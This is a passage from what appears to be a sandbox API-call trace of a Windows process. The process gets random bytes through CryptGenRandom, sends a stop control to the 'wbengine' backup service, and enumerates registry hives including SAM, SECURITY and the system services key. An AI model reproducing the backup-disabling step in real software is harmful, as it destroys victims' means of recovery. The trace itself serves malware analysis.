dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0220.685] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0220.685] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0220.685] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x20) returned 0x803990 [0220.686] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0220.686] GetLastError () returned 0x426 [0220.686] CloseServiceHandle (hSCObject=0x803990) returned 1 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0220.686] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0220.686] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0220.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.687] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.687] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.687] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0220.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.687] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.688] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.688] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0220.688] RegCloseKey (hKey=0x80000002) returned 0x0 [0220.688] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0220.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.688] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.689] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.689] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0220.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.690] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.690] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.690] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.690] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.691] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.691] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0220.691] RegCloseKey (hKey=0x148) returned 0x0 [0220.691] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.691] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.692] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.692] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0220.692] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.692] 